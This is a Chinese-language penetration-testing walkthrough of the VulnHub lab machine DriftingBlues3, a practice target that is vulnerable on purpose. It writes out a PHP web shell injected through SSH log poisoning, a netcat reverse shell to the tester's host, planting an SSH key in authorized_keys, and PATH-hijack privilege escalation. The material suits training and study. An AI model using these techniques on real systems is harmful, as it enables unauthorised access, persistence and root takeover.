1. 程式人生 > 其它 >vulnhub靶場滲透實戰13-driftingblues3

vulnhub靶場滲透實戰13-driftingblues3

靶機下載地址:https://download.vulnhub.com/driftingblues/driftingblues3.ova

vbox匯入,網路模式橋接,靶機模式為簡單。

一:資訊收集

1;直接老樣子吧,arp主機發現之後,nmap掃描埠服務。目錄遍歷。

  2;另請檢查/littlequeenofspades.html

 原始碼上發現一串密文。

echo aW50cnVkZXI/IEwyRmtiV2x1YzJacGVHbDBMbkJvY0E9PQ== | base64 -d
echo -n L2FkbWluc2ZpeGl0LnBocA== | base64 -d

二;漏洞利用

1;ssh登入驗證日誌。前面說有毒,可能日誌中毒。ssh auth log --> ssh

身份驗證日誌,並且注意到登入使用者名稱顯示在日誌中,也就是說如果我們使用ssh登陸時,將使用者名稱寫成一句話就可以寫馬進日誌中。

ssh '<?php system($_GET["yang"]);?>'@192.168.1.40

 寫入成功。

  那就反彈一下shell吧。反彈成功,沒有許可權,提升一下許可權。

nc -e /bin/bash 192.168.1.28 1234

python -c 'import pty; pty.spawn("/bin/bash")' #互動shell

2;home目錄下有個使用者,想開啟user.txt,但是沒有許可權,ssh檔案可讀可寫可執行。


進到.ssh私鑰,裡面沒有東西。有點奇怪,檢視ssh配置檔案/etc/ssh/sshd_config,發現可以使用公鑰登入,並且給出了檔名/home/robertj/.ssh/authorized_keys。

 ssh服務公鑰登入,主要流程為:

  1. 客戶端生成RSA公鑰和私鑰
  2. 客戶端將自己的公鑰存放到伺服器
  3. 客戶端請求連線伺服器,伺服器將一個隨機字串傳送給客戶端
  4. 客戶端根據自己的私鑰加密這個隨機字串之後再發送給伺服器
  5. 伺服器接受到加密後的字串之後用公鑰解密,如果正確就讓客戶端登入,否則拒絕。這樣就不用使用密碼

 在本地生成金鑰對。

ssh-keygen 在本地生成.ssh目錄

ssh-keygen -f yan  生成這樣的檔案


​在目標伺服器的 .ssh 資料夾下建立存放客戶端公鑰的檔案 authorized_keys(預設配置)

  把生成的公鑰上傳到靶機上去。

把公鑰資訊寫入目標檔案

cat id_rsa.pub > authorized_keys

  ssh連線成功。注意一下這裡,我在生成金鑰對時,設定了一下密碼,在生成金鑰對時,可以不設定密碼。

ssh 192.168.1.40 -l robertj -i id_rsa

三:提權。
1;第一個falg。

 2;命令劫持提權。

find / -perm -u=s -type f 2>/dev/null

3;利用linpeas.sh指令碼查詢bug。

大把的漏洞可執行。

  大概的原理就是 執行系統命令所以我們可以自行編寫一個同名檔案,
比如說cat,因為我們猜測getinfo中使用了cat命令,如若我們可以新增環境變數,getinfo在呼叫命令時首先檢索環境變數就會呼叫到我們偽造的cat,執行我們想要的命令,來達到提權的效果,即使用環境變數進行命令劫持提權

export PATH=/tmp/:$PATH     把/tmp路徑加入到系統路徑中。
cd /tmp						
echo '/bin/bash' > ip		把/bin/bash寫入到ip中。
chmod +x ip					增加執行許可權
/usr/bin/getinfo

 4;第二個flag。